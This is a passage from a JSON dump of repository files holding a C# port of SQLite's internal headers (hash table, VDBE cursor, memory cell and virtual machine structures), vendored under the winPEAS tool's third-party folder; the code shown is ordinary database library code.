dxRealloc( ref byte[] pOld, int nSize );\n    public delegate int  dxSize (byte[] pArray);\n    public delegate int dxRoundup( int nSize );\n\n    //Mutex Methods\n  public delegate int dxMutexInit();\n  public delegate int dxMutexEnd( );\n  public delegate   sqlite3_mutex dxMutexAlloc(int iNumber);\n  public delegate  void dxMutexFree(sqlite3_mutex sm);\n  public delegate   void dxMutexEnter(sqlite3_mutex sm);\n  public delegate   int dxMutexTry(sqlite3_mutex sm);\n  public delegate   void dxMutexLeave(sqlite3_mutex sm);\n  public delegate   int dxMutexHeld(sqlite3_mutex sm);\n  public delegate   int dxMutexNotheld(sqlite3_mutex sm);\n\n    public delegate object dxColumn( sqlite3_stmt pStmt, int i );\n    public delegate int dxColumn_I( sqlite3_stmt pStmt, int i );\n\n  // Walker Methods\n    public delegate int dxExprCallback (Walker W, ref Expr E);     /* Callback for expressions */\n    public delegate int dxSelectCallback (Walker W, Select S);  /* Callback for SELECTs */\n\n\n  // pcache Methods\n    public delegate int dxPC_Init( object NotUsed );\n    public delegate void dxPC_Shutdown( object NotUsed );\n    public delegate  sqlite3_pcache dxPC_Create (int szPage, int bPurgeable);\n    public delegate  void dxPC_Cachesize (sqlite3_pcache pCache, int nCachesize);\n    public delegate  int dxPC_Pagecount (sqlite3_pcache pCache);\n    public delegate PgHdr dxPC_Fetch( sqlite3_pcache pCache, u32 key, int createFlag );\n    public delegate void dxPC_Unpin( sqlite3_pcache pCache, PgHdr p2, int discard );\n    public delegate void dxPC_Rekey( sqlite3_pcache pCache, PgHdr p2, u32 oldKey, u32 newKey );\n    public delegate void dxPC_Truncate( sqlite3_pcache pCache, u32 iLimit );\n    public delegate  void dxPC_Destroy(ref sqlite3_pcache pCache);\n\n    public delegate void dxIter(PgHdr p);\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/Hash_h.cs",
    "content": "using u32 = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 22\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This is the header file for the generic hash-table implemenation\n    ** used in SQLite.\n    **\n    ** $Id: hash.h,v 1.15 2009/05/02 13:29:38 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#if !_SQLITE_HASH_H_\n    //#define _SQLITE_HASH_H_\n\n    /* Forward declarations of structures. */\n    //typedef struct Hash Hash;\n    //typedef struct HashElem HashElem;\n\n    /* A complete hash table is an instance of the following structure.\n    ** The internals of this structure are intended to be opaque -- client\n    ** code should not attempt to access or modify the fields of this structure\n    ** directly.  Change this structure only by using the routines below.\n    ** However, some of the \"procedures\" and \"functions\" for modifying and\n    ** accessing this structure are really macros, so we can't really make\n    ** this structure opaque.\n    **\n    ** All elements of the hash table are on a single doubly-linked list.\n    ** Hash.first points to the head of this list.\n    **\n    ** There are Hash.htsize buckets.  Each bucket points to a spot in\n    ** the global doubly-linked list.  The contents of the bucket are the\n    ** element pointed to plus the next _ht.count-1 elements in the list.\n    **\n    ** Hash.htsize and Hash.ht may be zero.  In that case lookup is done\n    ** by a linear search of the global list.  For small tables, the\n    ** Hash.ht table is never allocated because if there are few elements\n    ** in the table, it is faster to do a linear search than to manage\n    ** the hash table.\n    */\n    public class _ht\n    {            /* the hash table */\n      public int count;               /* Number of entries with this hash */\n      public HashElem chain;         /* Pointer to first entry with this hash */\n    };\n\n    public class Hash\n    {\n      public u32 htsize = 31;     /* Number of buckets in the hash table */\n      public u32 count;           /* Number of entries in this table */\n      public HashElem first;      /* The first element of the array */\n      public _ht[] ht;\n      public Hash Copy()\n      {\n        if ( this == null )\n          return null;\n        else\n        {\n          Hash cp = (Hash)MemberwiseClone();\n          return cp;\n        }\n      }\n    };\n\n    /* Each element in the hash table is an instance of the following\n    ** structure.  All elements are stored on a single doubly-linked list.\n    **\n    ** Again, this structure is intended to be opaque, but it can't really\n    ** be opaque because it is used by macros.\n    */\n    public class HashElem\n    {\n      public HashElem next;\n      public HashElem prev;          /* Next and previous elements in the table */\n      public object data;            /* Data associated with this element */\n      public string pKey;\n      public int nKey;               /* Key associated with this element */\n    };\n\n    /*\n    ** Access routines.  To delete, insert a NULL pointer.\n    */\n    //void sqlite3HashInit(Hash*);\n    //void *sqlite3HashInsert(Hash*, const char *pKey, int nKey, void *pData);\n    //void *sqlite3HashFind(const Hash*, const char *pKey, int nKey);\n    //void sqlite3HashClear(Hash*);\n\n    /*\n    ** Macros for looping over all elements of a hash table.  The idiom is\n    ** like this:\n    **\n    **   Hash h;\n    **   HashElem p;\n    **   ...\n    **   for(p=sqliteHashFirst(&h); p; p=sqliteHashNext(p)){\n    **     SomeStructure pData = sqliteHashData(p);\n    **     // do something with pData\n    **   }\n    */\n    //#define sqliteHashFirst(H)  ((H).first)\n    static HashElem sqliteHashFirst( Hash H ) { return H.first; }\n    //#define sqliteHashNext(E)   ((E).next)\n    static HashElem sqliteHashNext( HashElem E ) { return E.next; }\n    //#define sqliteHashData(E)   ((E).data)\n    static object sqliteHashData( HashElem E ) { return E.data; }\n    /* #define sqliteHashKey(E)    ((E)->pKey) // NOT USED */\n    /* #define sqliteHashKeysize(E) ((E)->nKey)  // NOT USED */\n\n    /*\n    ** Number of entries in a hash table\n    */\n    /* #define sqliteHashCount(H)  ((H)->count) // NOT USED */\n\n    //#endif // * _SQLITE_HASH_H_ */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/VdbeInt_h.cs",
    "content": "using i64 = System.Int64;\nusing u8 = System.Byte;\nusing u16 = System.UInt16;\nusing u32 = System.UInt32;\nusing u64 = System.UInt64;\nusing Pgno = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using Op = CSSQLite.VdbeOp;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2003 September 6\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This is the header file for information that is private to the\n    ** VDBE.  This information used to all be at the top of the single\n    ** source code file \"vdbe.c\".  When that file became too big (over\n    ** 6000 lines long) it was split up into several smaller files and\n    ** this header information was factored out.\n    **\n    ** $Id: vdbeInt.h,v 1.174 2009/06/23 14:15:04 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#if !_VDBEINT_H_\n    //#define _VDBEINT_H_\n\n    /*\n    ** SQL is translated into a sequence of instructions to be\n    ** executed by a virtual machine.  Each instruction is an instance\n    ** of the following structure.\n    */\n    //typedef struct VdbeOp Op;\n\n    /*\n    ** Boolean values\n    */\n    //typedef unsigned char Bool;\n\n    /*\n    ** A cursor is a pointer into a single BTree within a database file.\n    ** The cursor can seek to a BTree entry with a particular key, or\n    ** loop over all entries of the Btree.  You can also insert new BTree\n    ** entries or retrieve the key or data from the entry that the cursor\n    ** is currently pointing to.\n    **\n    ** Every cursor that the virtual machine has open is represented by an\n    ** instance of the following structure.\n    **\n    ** If the VdbeCursor.isTriggerRow flag is set it means that this cursor is\n    ** really a single row that represents the NEW or OLD pseudo-table of\n    ** a row trigger.  The data for the row is stored in VdbeCursor.pData and\n    ** the rowid is in VdbeCursor.iKey.\n    */\n    public class VdbeCursor\n    {\n      public BtCursor pCursor;     /* The cursor structure of the backend */\n      public int iDb;              /* Index of cursor database in db.aDb[] (or -1) */\n      public i64 lastRowid;        /* Last rowid from a Next or NextIdx operation */\n      public bool zeroed;          /* True if zeroed out and ready for reuse */\n      public bool rowidIsValid;    /* True if lastRowid is valid */\n      public bool atFirst;         /* True if pointing to first entry */\n      public bool useRandomRowid;  /* Generate new record numbers semi-randomly */\n      public bool nullRow;         /* True if pointing to a row with no data */\n      public bool pseudoTable;     /* This is a NEW or OLD pseudo-tables of a trigger */\n      public bool ephemPseudoTable;\n      public bool deferredMoveto;  /* A call to sqlite3BtreeMoveto() is needed */\n      public bool isTable;         /* True if a table requiring integer keys */\n      public bool isIndex;         /* True if an index containing keys only - no data */\n      public i64 movetoTarget;     /* Argument to the deferred sqlite3BtreeMoveto() */\n      public Btree pBt;            /* Separate file holding temporary table */\n      public int nData;            /* Number of bytes in pData */\n      public byte[] pData;         /* Data for a NEW or OLD pseudo-table */\n      public i64 iKey;             /* Key for the NEW or OLD pseudo-table row */\n      public KeyInfo pKeyInfo;     /* Info about index keys needed by index cursors */\n      public int nField;           /* Number of fields in the header */\n      public int seqCount;         /* Sequence counter */\n#if !SQLITE_OMIT_VIRTUALTABLE\npublic sqlite3_vtab_cursor pVtabCursor;  /* The cursor for a virtual table */\npublic readonly sqlite3_module pModule; /* Module for cursor pVtabCursor */\n#endif\n\n      /* Result of last sqlite3BtreeMoveto() done by an OP_NotExists or\n** OP_IsUnique opcode on this cursor. */\n      public int seekResult;\n\n      /* Cached information about the header for the data record that the\n      ** cursor is currently pointing to.  Only valid if cacheValid is true.\n      ** aRow might point to (ephemeral) data for the current row, or it might\n      ** be NULL.\n      */\n      public int cacheStatus;      /* Cache is valid if this matches Vdbe.cacheCtr */\n      public Pgno payloadSize;     /* Total number of bytes in the record */\n      public u32[] aType;          /* Type values for all entries in the record */\n      public u32[] aOffset;        /* Cached offsets to the start of each columns data */\n      public int aRow;             /* Pointer to Data for the current row, if all on one page */\n\n    };\n    //typedef struct VdbeCursor VdbeCursor;\n\n\n    /*\n    ** A value for VdbeCursor.cacheValid that means the cache is always invalid.\n    */\n    const int CACHE_STALE = 0;\n\n    /*\n    ** Internally, the vdbe manipulates nearly all SQL values as Mem\n    ** structures. Each Mem struct may cache multiple representations (string,\n    ** integer etc.) of the same value.  A value (and therefore Mem structure)\n    ** has the following properties:\n    **\n    ** Each value has a manifest type. The manifest type of the value stored\n    ** in a Mem struct is returned by the MemType(Mem*) macro. The type is\n    ** one of SQLITE_NULL, SQLITE_INTEGER, SQLITE_REAL, SQLITE_TEXT or\n    ** SQLITE_BLOB.\n    */\n    public class Mem\n    {\n      public struct union_ip\n      {\n#if DEBUG_CLASS_MEM || DEBUG_CLASS_ALL\npublic i64 _i;              /* First operand */\npublic i64 i\n{\nget { return _i; }\nset { _i = value; }\n}\n#else\n        public i64 i;               /* Integer value. */\n#endif\n        public int nZero;           /* Used when bit MEM_Zero is set in flags */\n        public FuncDef pDef;        /* Used only when flags==MEM_Agg */\n        public RowSet pRowSet;      /* Used only when flags==MEM_RowSet */\n      };\n      public union_ip u;\n      public double r;              /* Real value */\n      public sqlite3 db;            /* The associated database connection */\n      public string z;              /* String value */\n      public byte[] zBLOB;          /* BLOB value */\n      public int n;                 /* Number of characters in string value, excluding '\\0' */\n#if DEBUG_CLASS_MEM || DEBUG_CLASS_ALL\npublic u16 _flags;              /* First operand */\npublic u16 flags\n{\nget { return _flags; }\nset { _flags = value; }\n}\n#else\n      public u16 flags = MEM_Null;  /* Some combination of MEM_Null, MEM_Str, MEM_Dyn, etc. */\n#endif\n      public u8 type = SQLITE_NULL; /* One of SQLITE_NULL, SQLITE_TEXT, SQLITE_INTEGER, etc */\n      public u8 enc;                /* SQLITE_UTF8, SQLITE_UTF16BE, SQLITE_UTF16LE */\n      public dxDel xDel;            /* If not null, call this function to delete Mem.z */\n      // Not used under c#\n      //public string zMalloc;      /* Dynamic buffer allocated by sqlite3Malloc() */\n      public Mem _Mem;              /* Used when C# overload Z as MEM space */\n      public SumCtx _SumCtx;        /* Used when C# overload Z as Sum context */\n      public StrAccum _StrAccum;    /* Used when C# overload Z as STR context */\n      public object _MD5Context;    /* Used when C# overload Z as MD5 context */\n\n\n      public void CopyTo( Mem ct )\n      {\n        ct.u = u;\n        ct.r = r;\n        ct.db = db;\n        ct.z = z;\n        if ( zBLOB == null ) zBLOB = null;\n        else { ct.zBLOB = (byte[])zBLOB.Clone(); }\n        ct.n = n;\n        ct.flags = flags;\n        ct.type = type;\n        ct.enc = enc;\n        ct.xDel = xDel;\n      }\n\n    };\n\n    /* One or more of the following flags are set to indicate the validOK\n    ** representations of the value stored in the Mem struct.\n    **\n    ** If the MEM_Null flag is set, then the value is an SQL NULL value.\n    ** No other flags may be set in this case.\n    **\n    ** If the MEM_Str flag is set then Mem.z points at a string representation.\n    ** Usually this is encoded in the same unicode encoding as the main\n    ** database (see below for exceptions). If the MEM_Term flag is also\n    ** set, then the string is nul terminated. The MEM_Int and MEM_Real\n    ** flags may coexist with the MEM_Str flag.\n    **\n    ** Multiple of these values can appear in Mem.flags.  But only one\n    ** at a time can appear in Mem.type.\n    */\n    //#define MEM_Null      0x0001   /* Value is NULL */\n    //#define MEM_Str       0x0002   /* Value is a string */\n    //#define MEM_Int       0x0004   /* Value is an integer */\n    //#define MEM_Real      0x0008   /* Value is a real number */\n    //#define MEM_Blob      0x0010   /* Value is a BLOB */\n    //#define MEM_RowSet    0x0020   /* Value is a RowSet object */\n    //#define MEM_TypeMask  0x00ff   /* Mask of type bits */\n    const int MEM_Null = 0x0001;  /* Value is NULL */\n    const int MEM_Str = 0x0002;  /* Value is a string */\n    const int MEM_Int = 0x0004;  /* Value is an integer */\n    const int MEM_Real = 0x0008;  /* Value is a real number */\n    const int MEM_Blob = 0x0010;  /* Value is a BLOB */\n    const int MEM_RowSet = 0x0020;  /* Value is a RowSet object */\n    const int MEM_TypeMask = 0x00ff;   /* Mask of type bits */\n\n    /* Whenever Mem contains a valid string or blob representation, one of\n    ** the following flags must be set to determine the memory management\n    ** policy for Mem.z.  The MEM_Term flag tells us whether or not the\n    ** string is \\000 or \\u0000 terminated\n    //    */\n    //#define MEM_Term      0x0200   /* String rep is nul terminated */\n    //#define MEM_Dyn       0x0400   /* Need to call sqliteFree() on Mem.z */\n    //#define MEM_Static    0x0800   /* Mem.z points to a static string */\n    //#define MEM_Ephem     0x1000   /* Mem.z points to an ephemeral string */\n    //#define MEM_Agg       0x2000   /* Mem.z points to an agg function context */\n    //#define MEM_Zero      0x4000   /* Mem.i contains count of 0s appended to blob */\n//#ifdef SQLITE_OMIT_INCRBLOB\n//  #undef MEM_Zero\n//  #define MEM_Zero 0x0000\n//#endif\n    const int MEM_Term = 0x0200;   \n    const int MEM_Dyn = 0x0400;   \n    const int MEM_Static = 0x0800; \n    const int MEM_Ephem = 0x1000;  \n    const int MEM_Agg = 0x2000;   \n#if !SQLITE_OMIT_INCRBLOB\n    const int MEM_Zero = 0x4000;  \n#else\n    const int MEM_Zero = 0x0000;  \n#endif\n\n    /*\n    ** Clear any existing type flags from a Mem and replace them with f\n    */\n    //#define MemSetTypeFlag(p, f) \\\n    //   ((p)->flags = ((p)->flags&~(MEM_TypeMask|MEM_Zero))|f)\n    static void MemSetTypeFlag( Mem p, int f ) { p.flags = (u16)( p.flags & ~( MEM_TypeMask | MEM_Zero ) | f ); }// TODO -- Convert back to inline for speed\n\n#if  SQLITE_OMIT_INCRBLOB\n    //#undef MEM_Zero\n#endif\n\n    /* A VdbeFunc is just a FuncDef (defined in sqliteInt.h) that contains\n** additional information about auxiliary information bound to arguments\n** of the function.  This is used to implement the sqlite3_get_auxdata()\n** and sqlite3_set_auxdata() APIs.  The \"auxdata\" is some auxiliary data\n** that can be associated with a constant argument to a function.  This\n** allows functions such as \"regexp\" to compile their constant regular\n** expression argument once and reused the compiled code for multiple\n** invocations.\n*/\n    public class AuxData\n    {\n      public string pAux;                     /* Aux data for the i-th argument */\n      public dxDel xDelete; //(void *);      /* Destructor for the aux data */\n    };\n    public class VdbeFunc : FuncDef\n    {\n      public FuncDef pFunc;                   /* The definition of the function */\n      public int nAux;                         /* Number of entries allocated for apAux[] */\n      public AuxData[] apAux = new AuxData[2]; /* One slot for each function argument */\n    };\n\n    /*\n    ** The \"context\" argument for a installable function.  A pointer to an\n    ** instance of this structure is the first argument to the routines used\n    ** implement the SQL functions.\n    **\n    ** There is a typedef for this structure in sqlite.h.  So all routines,\n    ** even the public interface to SQLite, can use a pointer to this structure.\n    ** But this file is the only place where the internal details of this\n    ** structure are known.\n    **\n    ** This structure is defined inside of vdbeInt.h because it uses substructures\n    ** (Mem) which are only defined there.\n    */\n    public class sqlite3_context\n    {\n      public FuncDef pFunc;        /* Pointer to function information.  MUST BE FIRST */\n      public VdbeFunc pVdbeFunc;   /* Auxilary data, if created. */\n      public Mem s = new Mem();    /* The return value is stored here */\n      public Mem pMem;             /* Memory cell used to store aggregate context */\n      public int isError;          /* Error code returned by the function. */\n      public CollSeq pColl;        /* Collating sequence */\n    };\n\n    /*\n    ** A Set structure is used for quick testing to see if a value\n    ** is part of a small set.  Sets are used to implement code like\n    ** this:\n    **            x.y IN ('hi','hoo','hum')\n    */\n    //typedef struct Set Set;\n    public class Set\n    {\n      Hash hash;             /* A set is just a hash table */\n      HashElem prev;         /* Previously accessed hash elemen */\n    };\n\n    /*\n    ** A Context stores the last insert rowid, the last statement change count,\n    ** and the current statement change count (i.e. changes since last statement).\n    ** The current keylist is also stored in the context.\n    ** Elements of Context structure type make up the ContextStack, which is\n    ** updated by the ContextPush and ContextPop opcodes (used by triggers).\n    ** The context is pushed before executing a trigger a popped when the\n    ** trigger finishes.\n    */\n    //typedef struct Context Context;\n    public class Context\n    {\n      public i64 lastRowid;    /* Last insert rowid (sqlite3.lastRowid) */\n      public int nChange;      /* Statement changes (Vdbe.nChanges)     */\n    };\n\n    /*\n    ** An instance of the virtual machine.  This structure contains the complete\n    ** state of the virtual machine.\n    **\n    ** The \"sqlite3_stmt\" structure pointer that is returned by sqlite3_compile()\n    ** is really a pointer to an instance of this structure.\n    **\n    ** The Vdbe.inVtabMethod variable is set to non-zero for the duration of\n    ** any virtual table method invocations made by the vdbe program. It is\n    ** set to 2 for xDestroy method calls and 1 for all other methods. This\n    ** variable is used for two purposes: to allow xDestroy methods to execute\n    ** \"DROP TABLE\" statements and to prevent some nasty side effects of\n    ** malloc failure when SQLite is invoked recursively by a virtual table\n    ** method function.\n    */\n    public class Vdbe\n    {\n      public sqlite3 db;             /* The database connection that owns this statement */\n      public Vdbe pPrev;             /* Linked list of VDBEs with the same Vdbe.db */\n      public Vdbe pNext;             /* Linked list of VDBEs with the same Vdbe.db */\n      public int nOp;                /* Number of instructions in the program */\n      public int nOpAlloc;           /* Number of slots allocated for aOp[] */\n      public Op[] aOp;               /* Space to hold the virtual machine's program */\n      public int nLabel;             /* Number of labels used */\n      public int nLabelAlloc;        /* Number of slots allocated in aLabel[] */\n      public int[] aLabel;           /* Space to hold the labels */\n      public Mem[] apArg;            /* Arguments to currently executing user function */\n      public Mem[] aColName;         /* Column names to return */\n      public Mem[] pResultSet;       /* Pointer to an array of results */\n      public u16 nResColumn;         /* Number of columns in one row of the result set */\n      public u16 nCursor;            /* Number of slots in apCsr[] */\n      public VdbeCursor[] apCsr;     /* One element of this array for each open cursor */\n      public u8 errorAction;         /* Recovery action to do in case of an error */\n      public u8 okVar;               /* True if azVar[] has been initialized */\n      public u16 nVar;               /* Number of entries in aVar[] */\n      public Mem[] aVar;             /* Values for the OP_Variable opcode. */\n      public string[] azVar;         /* Name of variables */\n      public u32 magic;              /* Magic number for sanity checking */\n      public int nMem;               /* Number of memory locations currently allocated */\n      public Mem[] aMem;             /* The memory locations */\n      public int cacheCtr;           /* VdbeCursor row cache generation counter */\n      public int contextStackTop;    /* Index of top element in the context stack */\n      public int contextStackDepth;  /* The size of the \"context\" stack */\n      public Context[] contextStack; /* Stack used by opcodes ContextPush & ContextPop*/\n      public int pc;                 /* The program counter */\n      public int rc;                 /* Value to return */\n      public string zErrMsg;         /* Error message written here */\n      public int explain;            /* True if EXPLAIN present on SQL command */\n      public bool changeCntOn;       /* True to update the change-counter */\n      public bool expired;           /* True if the VM needs to be recompiled */\n      public int minWriteFileFormat; /* Minimum file format for writable database files */\n      public int inVtabMethod;       /* See comments above */\n      public bool usesStmtJournal;   /* True if uses a statement journal */\n      public bool readOnly;          /* True for read-only statements */\n      public int nChange;            /* Number of db changes made since last reset */\n      public bool isPrepareV2;       /* True if prepared with prepare_v2() */\n      public int btreeMask;          /* Bitmask of db.aDb[] entries referenced */\n      public u64 startTime;          /* Time when query started - used for profiling */\n      public BtreeMutexArray aMutex; /* An array of Btree used here and needing locks */\n      public int[] aCounter = new int[2]; /* Counters used by sqlite3_stmt_status() */\n      public string zSql = \"\";       /* Text of the SQL statement that generated this */\n      public object pFree;           /* Free this when deleting the vdbe */\n      public int iStatement;         /* Statement number (or 0 if has not opened stmt) */\n#if SQLITE_DEBUG\n      public FILE trace;                  /* Write an execution trace here, if not NULL */\n#endif\n\n      public Vdbe Copy()\n      {\n        Vdbe cp = (Vdbe)MemberwiseClone();\n        return cp;\n      }\n      public void CopyTo( Vdbe ct )\n      {\n        ct.db = db;\n        ct.pPrev = pPrev;\n        ct.pNext = pNext;\n        ct.nOp = nOp;\n        ct.nOpAlloc = nOpAlloc;\n        ct.aOp = aOp;\n        ct.nLabel = nLabel;\n        ct.nLabelAlloc = nLabelAlloc;\n        ct.aLabel = aLabel;\n        ct.apArg = apArg;\n        ct.aColName = aColName;\n        ct.nCursor = nCursor;\n        ct.apCsr = apCsr;\n        ct.nVar = nVar;\n        ct.aVar = aVar;\n        ct.azVar = azVar;\n        ct.okVar = okVar;\n        ct.magic = magic;\n        ct.nMem = nMem;\n        ct.aMem = aMem;\n        ct.cacheCtr = cacheCtr;\n        ct.contextStackTop = contextStackTop;\n        ct.contextStackDepth = contextStackDepth;\n        ct.contextStack = contextStack;\n        ct.pc = pc;\n        ct.rc = rc;\n        ct.errorAction = errorAction;\n        ct.nResColumn = nResColumn;\n        ct.zErrMsg = zErrMsg;\n        ct.pResultSet = pResultSet;\n        ct.explain = explain;\n        ct.changeCntOn = changeCntOn;\n        ct.expired = expired;\n        ct.minWriteFileFormat = minWriteFileFormat;\n        ct.inVtabMethod = inVtabMethod;\n        ct.usesStmtJournal = usesStmtJournal;\n        ct.readOnly = readOnly;\n        ct.nChange = nChange;\n        ct.isPrepareV2 = isPrepareV2;\n        ct.startTime = startTime;\n        ct.btreeMask = btreeMask;\n        ct.aMutex = aMutex;\n        aCounter.CopyTo( ct.aCounter, 0 );\n        ct.zSql = zSql;\n        ct.pFree = pFree;\n#if SQLITE_DEBUG\n        ct.trace = trace;\n#endif\n        ct.iStatement = iStatement;\n\n#if SQLITE_SSE\nct.fetchId=fetchId;\nct.lru=lru;\n#endif\n#if SQLITE_ENABLE_MEMORY_MANAGEMENT\nct.pLruPrev=pLruPrev;\nct.pLruNext=pLruNext;\n#endif\n      }\n    };\n\n    /*\n    ** The following are allowed values for Vdbe.magic\n    */\n    //#define VDBE_MAGIC_INIT     0x26bceaa5    /* Building a VDBE program */\n    //#define VDBE_MAGIC_RUN      0xbdf20da3    /* VDBE is ready to execute */\n    //#define VDBE_MAGIC_HALT     0x519c2973    /* VDBE has completed execution */\n    //#define VDBE_MAGIC_DEAD     0xb606c3c8    /* The VDBE has been deallocated */\n    const u32 VDBE_MAGIC_INIT = 0x26bceaa5;   /* Building a VDBE program */\n    const u32 VDBE_MAGIC_RUN = 0xbdf20da3;   /* VDBE is ready to execute */\n    const u32 VDBE_MAGIC_HALT = 0x519c2973;   /* VDBE has completed execution */\n    const u32 VDBE_MAGIC_DEAD = 0xb606c3c8;   /* The VDBE has been deallocated */\n    /*\n    ** Function prototypes\n    */\n    //void sqlite3VdbeFreeCursor(Vdbe *, VdbeCursor*);\n    //void sqliteVdbePopStack(Vdbe*,int);\n    //int sqlite3VdbeCursorMoveto(VdbeCursor*);\n    //#if defined(SQLITE_DEBUG) || defined(VDBE_PROFILE)\n    //void sqlite3VdbePrintOp(FILE*, int, Op*);\n    //#endif\n    //u32 sqlite3VdbeSerialTypeLen(u32);\n    //u32 sqlite3VdbeSerialType(Mem*, int);\n    //u32sqlite3VdbeSerialPut(unsigned char*, int, Mem*, int);\n    //u32 sqlite3VdbeSerialGet(const unsigned char*, u32, Mem*);\n    //void sqlite3VdbeDeleteAuxData(VdbeFunc*, int);\n\n    //int sqlite2BtreeKeyCompare(BtCursor *, const void *, int, int, int *);\n    //int sqlite3VdbeIdxKeyCompare(VdbeCursor*,UnpackedRecord*,int*);\n    //int sqlite3VdbeIdxRowid(sqlite3 *, i64 *);\n    //int sqlite3MemCompare(const Mem*, const Mem*, const CollSeq*);\n    //int sqlite3VdbeExec(Vdbe*);\n    //int sqlite3VdbeList(Vdbe*);\n    //int sqlite3VdbeHalt(Vdbe*);\n    //int sqlite3VdbeChangeEncoding(Mem *, int);\n    //int sqlite3VdbeMemTooBig(Mem*);\n    //int sqlite3VdbeMemCopy(Mem*, const Mem*);\n    //void sqlite3VdbeMemShallowCopy(Mem*, const Mem*, int);\n    //void sqlite3VdbeMemMove(Mem*, Mem*);\n    //int sqlite3VdbeMemNulTerminate(Mem*);\n    //int sqlite3VdbeMemSetStr(Mem*, const char*, int, u8, void(*)(void*));\n    //void sqlite3VdbeMemSetInt64(Mem*, i64);\n    //void sqlite3VdbeMemSetDouble(Mem*, double);\n    //void sqlite3VdbeMemSetNull(Mem*);\n    //void sqlite3VdbeMemSetZeroBlob(Mem*,int);\n    //void sqlite3VdbeMemSetRowSet(Mem*);\n    //int sqlite3VdbeMemMakeWriteable(Mem*);\n    //int sqlite3VdbeMemStringify(Mem*, int);\n    //i64 sqlite3VdbeIntValue(Mem*);\n    //int sqlite3VdbeMemIntegerify(Mem*);\n    //double sqlite3VdbeRealValue(Mem*);\n    //void sqlite3VdbeIntegerAffinity(Mem*);\n    //int sqlite3VdbeMemRealify(Mem*);\n    //int sqlite3VdbeMemNumerify(Mem*);\n    //int sqlite3VdbeMemFromBtree(BtCursor*,int,int,int,Mem*);\n    //void sqlite3VdbeMemRelease(Mem p);\n    //void sqlite3VdbeMemReleaseExternal(Mem p);\n    //int sqlite3VdbeMemFinalize(Mem*, FuncDef*);\n    //const char *sqlite3OpcodeName(int);\n    //int sqlite3VdbeOpcodeHasProperty(int, int);\n    //int sqlite3VdbeMemGrow(Mem pMem, int n, int preserve);\n    //int sqlite3VdbeCloseStatement(Vdbe *, int);\n    //#if SQLITE_ENABLE_MEMORY_MANAGEMENT\n    //int sqlite3VdbeReleaseBuffers(Vdbe p);\n    //#endif\n\n#if !SQLITE_OMIT_SHARED_CACHE\n//void sqlite3VdbeMutexArrayEnter(Vdbe *p);\n#else\n    //# define sqlite3VdbeMutexArrayEnter(p)\n    static void sqlite3VdbeMutexArrayEnter( Vdbe p ) { }\n#endif\n\n    //int sqlite3VdbeMemTranslate(Mem*, u8);\n    //#if SQLITE_DEBUG\n    //  void sqlite3VdbePrintSql(Vdbe*);\n    //  void sqlite3VdbeMemPrettyPrint(Mem pMem, char *zBuf);\n    //#endif\n    //int sqlite3VdbeMemHandleBom(Mem pMem);\n\n#if !SQLITE_OMIT_INCRBLOB\n//  int sqlite3VdbeMemExpandBlob(Mem *);\n#else\n    //  #define sqlite3VdbeMemExpandBlob(x) SQLITE_OK\n    static int sqlite3VdbeMemExpandBlob( Mem x ) { return SQLITE_OK; }\n#endif\n\n    //#endif /* !_VDBEINT_H_) */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/Vdbe_h.cs",
    "content": "using i64 = System.Int64;\nusing u8 = System.Byte;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** Header file for the Virtual DataBase Engine (VDBE)\n    **\n    ** This header defines the interface to the virtual database engine\n    ** or VDBE.  The VDBE implements an abstract machine that runs a\n    ** simple program to access and modify the underlying database.\n    **\n    ** $Id: vdbe.h,v 1.142 2009/07/24 17:58:53 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#if !_SQLITE_VDBE_H_\n    //#define _SQLITE_VDBE_H_\n    //#include <stdio.h>\n\n    /*\n    ** A single VDBE is an opaque structure named \"Vdbe\".  Only routines\n    ** in the source file sqliteVdbe.c are allowed to see the insides\n    ** of this structure.\n    */\n    //typedef struct Vdbe Vdbe;\n\n    /*\n    ** The names of the following types declared in vdbeInt.h are required\n    ** for the VdbeOp definition.\n    */\n    //typedef struct VdbeFunc VdbeFunc;\n    //typedef struct Mem Mem;\n\n    /*\n    ** A single instruction of the virtual machine has an opcode\n    ** and as many as three operands.  The instruction is recorded\n    ** as an instance of the following structure:\n    */\n    public class union_p4\n    {             /* forth parameter */\n      public int i;                /* Integer value if p4type==P4_INT32 */\n      public object p;             /* Generic pointer */\n      //public string z;           /* Pointer to data for string (char array) types */\n      public string z;             // In C# string is unicode, so use byte[] instead\n      public i64 pI64;             /* Used when p4type is P4_INT64 */\n      public double pReal;         /* Used when p4type is P4_REAL */\n      public FuncDef pFunc;        /* Used when p4type is P4_FUNCDEF */\n      public VdbeFunc 